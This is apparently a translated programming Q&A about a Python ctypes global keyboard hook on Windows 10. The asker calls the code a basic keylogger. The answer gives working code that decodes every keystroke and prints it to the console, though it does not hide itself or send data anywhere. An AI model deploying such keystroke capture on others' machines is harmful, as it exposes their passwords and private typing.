Python 在 windows 10 上使用 WinAPI SetWindowsHookExA

Python using WinAPI SetWindowsHookExA on windows 10

我正在尝试使用带有 windows 10 系统的 SetWindowsHookExA 挂钩 python。我有工作代码并正确连接。但我无法将响应正确转换为密钥。

我收到了一个 12 位数字的回复,但我在文档中没有看到任何关于它或如何转换它的信息。

此代码可能已过时,但我正在尝试设置一个基本的键盘记录器,如果可能的话不使用 PyHook 或 PyWin32 库。

这是我的代码:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

class KeyLogger:

    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    # hookedKey = chr(lParam[0])
    # print("HookedKey=" + hookedKey + ", KeyCode=" + str(lParam[0]))
    print("Hooked Key: " + str(lParam[0]))
    if(CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if KeyLogger.installHookProc(pointer):
    print("Hook installed")

startKeyLog()

输出是这样的:

键'a':"Hooked Key: 128849018945" 对于密钥 'b':"Hooked Key: 206158430274" 对于密钥 'c':"Hooked Key: 197568495683"

对我在代码中做错的事情有帮助吗?或者我只是不知道如何转换这些值。

谢谢

钩子程序通过LPARAM参数发送原始键盘信息。可以将其转换为 ASCII 字符集,但对于其他字符集将失败。

相反,我们必须从 LPARAM 中获取 KBDLLHOOKSTRUCT 结构,然后使用 ToUnicode 将原始键盘输入转换为相应的 Unicode 字符串。为了清楚起见,您可能需要查看普通

Python 示例:

import win32con
import ctypes
from ctypes import *
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

class KBDLLHOOKSTRUCT(Structure): _fields_=[
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]

HOOKPROC = WINFUNCTYPE(HRESULT, c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)

class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def hookProc(nCode, wParam, lParam):
    if user32.GetKeyState(win32con.VK_CONTROL) & 0x8000:
        print("\nCtrl pressed, call uninstallHook()")
        KeyLogger.uninstalHookProc()
        return 0
    if nCode == win32con.HC_ACTION and wParam == win32con.WM_KEYDOWN:
        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        user32.GetKeyState(win32con.VK_SHIFT)
        user32.GetKeyState(win32con.VK_MENU)
        state = (ctypes.c_char * 256)()
        user32.GetKeyboardState(byref(state))
        str = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, str, 8 - 1, 0)
        if n > 0:
            if kb.vkCode == win32con.VK_RETURN:
                print()
            else:
                print(ctypes.wstring_at(str), end = "", flush = True)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

KeyLogger = KeyLogger()
pointer = HOOKPROC(hookProc)
KeyLogger.installHookProc(pointer)
print("Hook installed")
msg = ctypes.wintypes.MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) #wait for messages